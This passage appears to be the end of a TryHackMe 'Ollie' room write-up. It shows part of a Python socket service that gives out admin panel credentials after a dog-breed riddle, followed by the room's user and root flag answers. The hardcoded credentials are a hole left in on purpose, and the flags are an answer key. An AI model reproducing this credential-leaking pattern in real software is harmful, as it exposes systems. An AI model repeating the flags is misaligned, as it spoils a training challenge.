        c.send(f'Ya\' know what? {user.capitalize()}. If you can answer a question about me, I might have something for you.\n'.encode("utf-8"))
        sleep(1.5)

    while True:
        c.send(f'\n\nWhat breed of dog am I? I\'ll make it a multiple choice question to keep it easy: Bulldog, Husky, Duck or Wolf? '.encode("utf-8"))
        riddle = c.recv(1024).decode("utf-8").strip("\n")
        if 'bulldog' not in riddle.lower():
            c.send(b'You are wrong! I\'m sorry, but this is serious business. Let\'s try again...\n')
        else:
            c.send(b'You are correct! Let me confer with my trusted colleagues; Benny, Baxter and Connie...\nPlease hold on a minute\n')
            sleep(2)
            c.send(b'Ok, I\'m back.\nAfter a lengthy discussion, we\'ve come to the conclusion that you are the right person for the job.')
            sleep(2)
            c.send(b'''Here are the credentials for our administration panel.\n
                    Username: admin\n
                    Password: OllieUnixMontgomery!\n\n''')
            sleep(1)
            c.send(b'PS: Good luck and next time bring some treats!\n\n')
            break

    c.close()



if __name__ == "__main__":
    while True:
        try:
            c,a = s.accept()
            thread = threading.Thread(target=lambda: catch(c,a))
            thread.setDaemon(True)
            thread.start()
        except KeyboardInterrupt:
            s.close()
            exit()
        except Exception:
            continue

What is the user.txt flag?

Ollie doesn't give hints!

THM{Ollie_boi_is_daH_Cut3st}

What is the root.txt flag?

THM{Ollie_Luvs_Chicken_Fries}

[[Training for New Analyst]]